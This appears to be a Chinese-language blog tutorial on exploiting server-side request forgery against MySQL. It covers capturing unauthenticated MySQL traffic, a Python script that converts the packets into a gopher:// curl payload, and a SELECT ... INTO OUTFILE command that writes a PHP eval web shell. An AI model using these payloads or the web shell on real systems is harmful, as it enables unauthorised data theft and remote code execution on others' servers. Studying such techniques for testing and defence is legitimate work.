Fork me on GitHub

ssrf在mysql中的利用

以前写过ssrf+redis拿到shell的方法,今天整理下ssrf+mysql的攻击方式

MySQL通信协议

MySQL连接方式:
MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:

1
2
3
Unix套接字;
内存共享/命名管道;
TCP/IP套接字;

  • 在Linux或者Unix环境下,输入mysql –uroot –proot登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。
  • 在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。
  • TCP/IP套接字是在任何系统下都可以使用的方式,当我们输入mysql –h127.0.0.1 –uroot –proot时就是要TCP/IP套接字。当我们需要抓取mysql通信数据包时必须使用TCP/IP套接字连接。

MySQL认证过程:
MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证,需要和服务器端进行交互;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行。

攻击过程

读取数据

  • 首先新建一个MySQL用户,并且密码为空,使用root用户登录mysql后执行如下命令:

    1
    2
    3
    CREATE USER ' usernopass'@'localhost';
    GRANT USAGE ON *.* TO ' usernopass'@'localhost';
    GRANT ALL ON *.* TO ' usernopass'@'localhost';
  • 开一个窗口抓包:

    1
    tcpdump–i lo port 3306 –w 1.pcay
  • 开一个窗口使用TCP/IP模式连接MySQL服务器:

    1
    2
    3
    mysql –h 127.0.0.1 –u usernopass
    use yii2basic; //将需要读取的数据抓包
    select * from country;
  • 查看抓取的流量包,过滤出mysql包,并追踪tcp流,查看客服端到服务器端的流量。

  • 将原始数据整理为一行,并将其url编码
    1
    2
    3
    4
    5
    6
    7
    def results(s):
    a=[s[i:i+2] for i in xrange(0,len(s),2)]
    return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)
    if __name__=="__main__":
    import sys
    s=sys.argv[1]
    print(results(s))

  • 将得到的payload在Ubuntu中执行,得到想要的数据

写shell

  • 首先先查看mysql的导入与导出的目录权限
    1
    show variables like '%secure%';

方法同上,只需将命令换成

1
select "<?php eval($_POST['cmd']);?>" into outfile "/var/lib/mysql-files/2.php";

PS:当前mysql用户必须存在file权限;部分MySQL服务器运行时启用了--secure-file-priv选项,导出文件时只能导出到规定的目录下;并且导入目录需要有写权限


参考文献:
https://paper.seebug.org/510/
https://www.freebuf.com/articles/web/159342.html

-------------本文结束感谢您的阅读-------------